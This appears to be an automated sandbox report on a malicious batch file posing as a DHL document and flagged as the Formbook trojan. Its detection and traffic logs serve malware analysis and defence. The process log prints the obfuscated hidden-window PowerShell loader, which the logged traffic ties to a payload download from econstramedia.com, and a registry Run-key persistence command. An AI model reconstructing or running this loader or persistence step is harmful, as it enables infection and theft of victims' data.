Windows Analysis Report
rDHL_PT563857935689275783656385FV-GDS3535353.bat

AI detected suspicious sample

Source: Yara match

File source: 0000000A.00000002.2397610990.0000000002F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: unknown	HTTPS traffic detected: 103.211.216.55:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.83.114.124:443 -> 192.168.2.4:49737 version: TLS 1.2

Source:	Binary string: wntdll.pdbUGP source: wab.exe, 0000000A.00000003.2367524519.0000000024862000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: wab.exe, wab.exe, 0000000A.00000003.2367524519.0000000024862000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbB source: powershell.exe, 00000005.00000002.2257014116.0000000006DE8000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: Joe Sandbox View

IP Address: 103.211.216.55 103.211.216.55

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /Samsende.jpb HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: econstramedia.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /duWJGPYoYurORY170.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: tejarat-gram.comCache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Samsende.jpb HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: econstramedia.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /duWJGPYoYurORY170.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: tejarat-gram.comCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: econstramedia.com
Source: global traffic	DNS traffic detected: DNS query: tejarat-gram.com

Source: powershell.exe, 00000002.00000002.2470375891.0000018D4C214000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://econstramedia.com
Source: powershell.exe, 00000002.00000002.2595043034.0000018D5A4E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2253915133.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.2250127984.000000000451C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4A471000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2250127984.00000000043C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.2250127984.000000000451C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.2250127984.00000000043C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000005.00000002.2253915133.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.2253915133.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.2253915133.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://econstramedia.c
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://econstramedia.co
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2470375891.0000018D4BCF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2470375891.0000018D4A69D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://econstramedia.com
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://econstramedia.com/
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://econstramedia.com/S
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://econstramedia.com/Sa
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://econstramedia.com/Sam
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://econstramedia.com/Sams
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://econstramedia.com/Samse
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://econstramedia.com/Samsen
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://econstramedia.com/Samsend
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://econstramedia.com/Samsende
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://econstramedia.com/Samsende.
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://econstramedia.com/Samsende.j
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://econstramedia.com/Samsende.jp
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4B88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2470375891.0000018D4A69D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://econstramedia.com/Samsende.jpb
Source: powershell.exe, 00000005.00000002.2250127984.000000000451C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://econstramedia.com/Samsende.jpbXR
Source: powershell.exe, 00000005.00000002.2250127984.000000000451C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2470375891.0000018D4B6E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000002.00000002.2595043034.0000018D5A4E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2253915133.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: wab.exe, 0000000A.00000002.2427597487.00000000243B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tejarat-gram.com/duWJGPYoYurORY170.bin
Source: wab.exe, 0000000A.00000002.2427597487.00000000243B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tejarat-gram.com/duWJGPYoYurORY170.binArbesKoneconstramedia.com/duWJGPYoYurORY170.bin

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 103.211.216.55:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.83.114.124:443 -> 192.168.2.4:49737 version: TLS 1.2

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match

File source: 0000000A.00000002.2397610990.0000000002F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: amsi32_6988.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 0000000A.00000002.2397610990.0000000002F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: powershell.exe PID: 6716, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6988, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Very long command line found

Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 6486
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 6510
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 6486	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 6510	Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82DF0 NtQuerySystemInformation,LdrInitializeThunk,	10_2_24A82DF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A835C0 NtCreateMutant,LdrInitializeThunk,	10_2_24A835C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82C70 NtFreeVirtualMemory,LdrInitializeThunk,	10_2_24A82C70
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82BA0 NtEnumerateValueKey,	10_2_24A82BA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82CA0 NtQueryInformationToken,	10_2_24A82CA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82EA0 NtAdjustPrivilegesToken,	10_2_24A82EA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82FA0 NtQuerySection,	10_2_24A82FA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82AB0 NtWaitForSingleObject,	10_2_24A82AB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82DB0 NtEnumerateKey,	10_2_24A82DB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82FB0 NtResumeThread,	10_2_24A82FB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A839B0 NtGetContextThread,	10_2_24A839B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82B80 NtQueryInformationFile,	10_2_24A82B80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82E80 NtReadVirtualMemory,	10_2_24A82E80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82F90 NtProtectVirtualMemory,	10_2_24A82F90
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A83090 NtSetValueKey,	10_2_24A83090
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82BE0 NtQueryValueKey,	10_2_24A82BE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82EE0 NtQueueApcThread,	10_2_24A82EE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82FE0 NtCreateFile,	10_2_24A82FE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82AF0 NtWriteFile,	10_2_24A82AF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82BF0 NtAllocateVirtualMemory,	10_2_24A82BF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82CF0 NtOpenProcess,	10_2_24A82CF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82CC0 NtQueryVirtualMemory,	10_2_24A82CC0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82AD0 NtReadFile,	10_2_24A82AD0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82DD0 NtDelayExecution,	10_2_24A82DD0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82D30 NtUnmapViewOfSection,	10_2_24A82D30
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82E30 NtWriteVirtualMemory,	10_2_24A82E30
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82F30 NtCreateSection,	10_2_24A82F30
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82C00 NtQueryInformationProcess,	10_2_24A82C00
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82D00 NtSetInformationFile,	10_2_24A82D00
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82D10 NtMapViewOfSection,	10_2_24A82D10
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A83010 NtOpenDirectoryObject,	10_2_24A83010
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A83D10 NtOpenProcessToken,	10_2_24A83D10
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82B60 NtClose,	10_2_24A82B60
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82C60 NtCreateKey,	10_2_24A82C60
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A82F60 NtCreateProcessEx,	10_2_24A82F60
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A83D70 NtOpenThread,	10_2_24A83D70
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A84340 NtSetContextThread,	10_2_24A84340
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A84650 NtSuspendThread,	10_2_24A84650
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_084AACD5 LdrInitializeThunk,Sleep,NtProtectVirtualMemory,	10_2_084AACD5

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B89BE92	2_2_00007FFD9B89BE92
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B89B0E6	2_2_00007FFD9B89B0E6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B963464	2_2_00007FFD9B963464
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_0425EF70	5_2_0425EF70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_0425F840	5_2_0425F840
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_0425EC28	5_2_0425EC28
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A19B80	10_2_24A19B80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A13FD2	10_2_24A13FD2
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A13FD5	10_2_24A13FD5

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Scleroconjunctival" /t REG_EXPAND_SZ /d "%Ulykkesfugles% -w 1 $Cigaretetuiernes=(Get-ItemProperty -Path 'HKCU:\Indfindendes\').Storborgernes;%Ulykkesfugles% ($Cigaretetuiernes)"

Source: amsi32_6988.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 0000000A.00000002.2397610990.0000000002F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 6716, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6988, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.evad.winBAT@18/9@2/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Nedprioriterende200.Sig

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7100:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6744:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6572:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_swyuor0u.rdj.ps1

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\rDHL_PT563857935689275783656385FV-GDS3535353.bat" "

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=6716
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=6988

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Source: rDHL_PT563857935689275783656385FV-GDS3535353.bat

ReversingLabs: Detection: 39%

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\rDHL_PT563857935689275783656385FV-GDS3535353.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser';If (${host}.CurrentCulture) {$Afiklingshastighed++;}$Papirindfringen51='SUBsTR';$Papirindfringen51+='ing';Function Oktantals($Maaleresultatet){$Fuldskggets=$Maaleresultatet.Length-$Afiklingshastighed;For( $Hypergamously=4;$Hypergamously -lt $Fuldskggets;$Hypergamously+=5){$Reactualizations+=$Maaleresultatet.$Papirindfringen51.Invoke( $Hypergamously, $Afiklingshastighed);}$Reactualizations;}function Oncogenes($Flirtigig){ & ($eksileredes) ($Flirtigig);}$Klagefrist=Oktantals ' RatMSeptoKrimzBilsi,adilIscelCreaaPort/Ud.e5tr.o.Dagu0 Bje B.rd( EjeWRa,ni A,tnBlyad teloLympwScrusGalv EddNe itTV ks Indu1File0Guri.Sdek0 san;Egyp KatdWC.rniSensn Cas6 em4.ogi;Tylv ForxF mm6Spor4Teq ;Ka c DelfrInfovMo e:Myop1Brys2Kura1 wag.Tils0Sund).ipp redGCance TobcSjusk U,do Fly/Unsc2Prot0Homo1Raak0T.ni0Blus1afgu0.syk1 Um, U,pFGlycihoveruartedanif havoBassxOver/Tilb1Komm2Scam1Din .hyld0Init ';$Morvin=Oktantals 'TeksU ValsBrace Wi rEuro-ArgeAMaalgSkvueDok,n TimtMod. ';$urtesupper=Oktantals 'Cocih undt fjet SerpH rksTalw:Ens./Kurv/Semie UdkcKlbeo StrnVogts ColtGeomrBehoa Hj.m.lndeServdCowhi.oteaEnke.Bar cLeveoEmptmBrim/S.anSKon,aGl,nmDe,asNonzeForsnNo,rd BareCurv. DagjC evpNebub,oth ';$Dvelreres=Oktantals ' P o>wood ';$eksileredes=Oktantals 'Avi,iglyceAfk,xP,ra ';$Synecologic='Acuity';$Flagknap = Oktantals 'Sekre prvc ,odh IndoChou Sk.t%BlipaBru pEksppNo idD.koaOp.rtRomaa Rim%Reex\del,NSed.eInvedMov p PecrDiskiOutdoFiskrEndoi N,nt,ttaeVestrSicae.ebonFa,ddL gteSu o2U,as0K,es0Dogm.RetySundiiDra.g Dis isot&,ota&Rutt MedbeFlotcProxhDowco.las Indst cr ';Oncogenes (Oktantals 'Abol$Divegkaf lConvo,lgpb.ejmaSalgl Oli:E.seM Cenb NumeShirl KrapBespoAmnilMe,tiDagstKonsu F grGig.eModurM,lj=Af.u(DovecFremmObted.hak Tvan/F.rfcEole o v$.eldF UnmltegmaMut.gParckVetenEgetaItc pCons)Korr ');Oncogenes (Oktantals ',epr$ordsg evelCanioLevub ela,nrilAndr: Balg oinaRekrwtudskPartiUndihRe,soBl,doScatdAort=Brev$ GenuTiturAntetPreseBrans MacuomfapElskpLflaerestrV va.FirlsmisppHelslneuti tyvtScra(Vege$ MjeDRe.uvExtreSc,elbudgrUndeeKapirBe.eePe isF.ed)S,dh ');Oncogenes (Oktantals 'Kono[civiNAffleS.lvtGabi.TenoSTor eRyonrStrevNe kiZy,oc Auge M,sP FakoKariiEkphncr,ttAvenM Me.aAssunTimea impgDetae pndrAfd ]Pist: Sli:st.rSEn oe strcWichuKontr Pr.i Af,tG oby UfoP tilrDatao Hayt Bleo Ba.cTeleo EnelSkri Fo r=Stop Udd[Ba.iN Ddse.rdltOver.Ori,SDi
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nedprioriterende200.Sig && echo t"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser';If (${host}.CurrentCulture) {$Afiklingshastighed++;}$Papirindfringen51='SUBsTR';$Papirindfringen51+='ing';Function Oktantals($Maaleresultatet){$Fuldskggets=$Maaleresultatet.Length-$Afiklingshastighed;For( $Hypergamously=4;$Hypergamously -lt $Fuldskggets;$Hypergamously+=5){$Reactualizations+=$Maaleresultatet.$Papirindfringen51.Invoke( $Hypergamously, $Afiklingshastighed);}$Reactualizations;}function Oncogenes($Flirtigig){ & ($eksileredes) ($Flirtigig);}$Klagefrist=Oktantals ' RatMSeptoKrimzBilsi,adilIscelCreaaPort/Ud.e5tr.o.Dagu0 Bje B.rd( EjeWRa,ni A,tnBlyad teloLympwScrusGalv EddNe itTV ks Indu1File0Guri.Sdek0 san;Egyp KatdWC.rniSensn Cas6 em4.ogi;Tylv ForxF mm6Spor4Teq ;Ka c DelfrInfovMo e:Myop1Brys2Kura1 wag.Tils0Sund).ipp redGCance TobcSjusk U,do Fly/Unsc2Prot0Homo1Raak0T.ni0Blus1afgu0.syk1 Um, U,pFGlycihoveruartedanif havoBassxOver/Tilb1Komm2Scam1Din .hyld0Init ';$Morvin=Oktantals 'TeksU ValsBrace Wi rEuro-ArgeAMaalgSkvueDok,n TimtMod. ';$urtesupper=Oktantals 'Cocih undt fjet SerpH rksTalw:Ens./Kurv/Semie UdkcKlbeo StrnVogts ColtGeomrBehoa Hj.m.lndeServdCowhi.oteaEnke.Bar cLeveoEmptmBrim/S.anSKon,aGl,nmDe,asNonzeForsnNo,rd BareCurv. DagjC evpNebub,oth ';$Dvelreres=Oktantals ' P o>wood ';$eksileredes=Oktantals 'Avi,iglyceAfk,xP,ra ';$Synecologic='Acuity';$Flagknap = Oktantals 'Sekre prvc ,odh IndoChou Sk.t%BlipaBru pEksppNo idD.koaOp.rtRomaa Rim%Reex\del,NSed.eInvedMov p PecrDiskiOutdoFiskrEndoi N,nt,ttaeVestrSicae.ebonFa,ddL gteSu o2U,as0K,es0Dogm.RetySundiiDra.g Dis isot&,ota&Rutt MedbeFlotcProxhDowco.las Indst cr ';Oncogenes (Oktantals 'Abol$Divegkaf lConvo,lgpb.ejmaSalgl Oli:E.seM Cenb NumeShirl KrapBespoAmnilMe,tiDagstKonsu F grGig.eModurM,lj=Af.u(DovecFremmObted.hak Tvan/F.rfcEole o v$.eldF UnmltegmaMut.gParckVetenEgetaItc pCons)Korr ');Oncogenes (Oktantals ',epr$ordsg evelCanioLevub ela,nrilAndr: Balg oinaRekrwtudskPartiUndihRe,soBl,doScatdAort=Brev$ GenuTiturAntetPreseBrans MacuomfapElskpLflaerestrV va.FirlsmisppHelslneuti tyvtScra(Vege$ MjeDRe.uvExtreSc,elbudgrUndeeKapirBe.eePe isF.ed)S,dh ');Oncogenes (Oktantals 'Kono[civiNAffleS.lvtGabi.TenoSTor eRyonrStrevNe kiZy,oc Auge M,sP FakoKariiEkphncr,ttAvenM Me.aAssunTimea impgDetae pndrAfd ]Pist: Sli:st.rSEn oe strcWichuKontr Pr.i Af,tG oby UfoP tilrDatao Hayt Bleo Ba.cTeleo EnelSkri Fo r=Stop Udd[Ba.
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nedprioriterende200.Sig && echo t"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Scleroconjunctival" /t REG_EXPAND_SZ /d "%Ulykkesfugles% -w 1 $Cigaretetuiernes=(Get-ItemProperty -Path 'HKCU:\Indfindendes\').Storborgernes;%Ulykkesfugles% ($Cigaretetuiernes)"
